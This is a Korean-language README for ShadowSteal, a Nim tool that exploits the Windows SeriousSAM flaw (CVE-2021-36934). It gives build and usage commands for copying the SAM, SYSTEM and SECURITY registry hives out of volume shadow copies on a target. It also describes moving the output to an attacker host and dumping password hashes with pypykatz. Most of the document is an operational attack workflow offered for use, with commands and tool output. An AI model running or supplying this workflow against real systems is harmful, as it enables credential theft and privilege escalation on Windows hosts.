
CVE-2021-36934, SeriousSAM 로컬 권한 상승을 위한 순수 Nim 구현
CVE-2021-36934을 악용하기 위한 순수 Nim 구현, SeriousSAM 로컬 권한 상승(LPE). OPSEC에 안전하지 않음... 아직은 ;). 이 익스플로잇의 발견에 대한 공로를 주장하지 않습니다.
ShadowSteal을 시작하는 것이 Docker 덕분에 그 어느 때보다 쉬워졌습니다! Nim 종속성을 설치하는 데 번거로움을 원하지 않으세요? 내가 도와줄게요! Python 스크립트를 실행하여 Docker 빌드 환경을 만들고, 바이너리를 컴파일하고, 호스트로 다시 전송한 후 컨테이너를 종료하세요.
호스트에 Docker를 설치하고(다른 OS에 설치하는 방법은 문서를 참조), 기본 디렉터리에서 ShadowSteal Python 스크립트를 실행하세요:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
또는 Nim과 해당 종속성을 설치하여 소스에서 빌드하세요:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
MinGW 툴체인이 아직 설치되지 않았다면 설치하세요:
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
대상으로 전송...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Microsoft의 일부 실수로 인해 최신 Windows 빌드에서 일반 사용자는 ...\System32\config\ 폴더의 내용에 대해 읽기 권한을 가지고 있습니다. 무엇보다도 이는 낮은 수준의 사용자가 ...\System32\config에 있는 SAM, System 및 Security 파일에 대한 읽기 액세스 권한을 가진다는 것을 의미합니다.

으악. 그럼 이걸로 무엇을 할 수 있을까요?
매우 관찰력이 뛰어난 연구원들(@jonasLyk에게 외칩니다!)은 Windows 호스트가 특정 시스템 복원 구성인 '볼륨 섀도 복사본'을 사용하고 있는 경우 호스트가 이러한 파일의 백업 복사본을 저장하며, 이 복사본은 해당 복사본의 Win32 장치 네임스페이스를 통해 액세스할 수 있다는 것을 알아냈습니다.


SAM은 일반적으로 호스트 작동 중에 잠겨 있으므로 ...\System32\config\에 있는 SAM에 액세스하는 것은 불가능합니다. 그러나 이러한 섀도 볼륨 복사본은 이 잘못된 구성으로 인해 호스트의 모든 사용자가 자유롭게 사용할 수 있습니다. 아주 좋습니다!
ShadowSteal은 Nim으로 작성된 바이너리로, 이러한 섀도 복사본에서 SAM, System 및 Security 파일의 열거 및 반출을 자동화합니다. 가능한 섀도 복사본 위치를 반복하며 대상을 찾으면 파일을 압축된 디렉터리(Bloodhound 출력과 유사)로 추출합니다.


대단한 것은 아니고 코드가 엉성하지만 작동하며 재미있는 빌드였습니다!
Nim 설치:
$ sudo apt-get install nim
종속성 설치:
$ nimble install zippy argparse winim
MinGW 툴체인이 아직 설치되지 않았다면 설치하세요:
$ sudo apt-get install mingw-w64
64비트 Windows용 컴파일:
$ make
대상으로 전송하고 실행하세요!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifies and extracts credentials that can be stolen due to the SeriousSAM (CVE-2021-36934) exploit. Searches from high to low, defaults searching 100 to 1.
Usage:
[options]
Options:
-h, --help
-t, --triage [*] Triage mode. Quick enumeration, tries to find quick wins.
-bf, --bruteforce [*] Bruteforce mode. Enumerates the entire range of possible locations (512 to 1). Takes a bit.
-b, --bezos [?] Jeff Bezos Mode
위치 무차별 대입을 10에서 1로 제한하며, 각 시도마다 감소합니다. 대부분의 환경에서 빠르고 효과적입니다.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
가능한 모든 위치(512)를 검색하며 1까지 감소합니다. 환경을 철저히 열거하려면 이 옵션을 시도하세요. 몇 분 정도 걸립니다.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
출력 디렉터리를 공격자 호스트로 다시 전송하고 Pypykatz로 데이터를 추출하세요. 설치하려면:
$ pip3 install pypykatz
Pypykatz를 실행하려면:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

이제 쉬운 사전 패키징된 Docker 빌드 환경이 포함되었습니다! ShadowSteal.py 스크립트를 실행하여 Docker 환경을 설정하고, 바이너리를 컴파일하고, 호스트로 다시 전송한 후 빌드 컨테이너를 종료하세요. 그냥 작동합니다! (약간의 조립이 필요합니다. 즉, 실행하려면 Docker가 필요합니다).
간결하고 실용적입니다. 최적화된 컴파일 옵션이 추가되었습니다. 컴파일러 최적화 덕분에 엄청난 성능 향상, 전체 무차별 대입이 이제 거의 즉시 이루어집니다. 가짜 PR을 제공한 @orbitalgun에게 큰 감사를 드립니다. 당신의 집과 이름에 영광이 있기를!
들어와, 이 난장판은 굴러간다. 이 릴리스는 빠른 프로토타입이었고 꽤 형편없었습니다 ㅋㅋ. 하지만 만드는 재미가 쏠쏠했습니다! 기능:
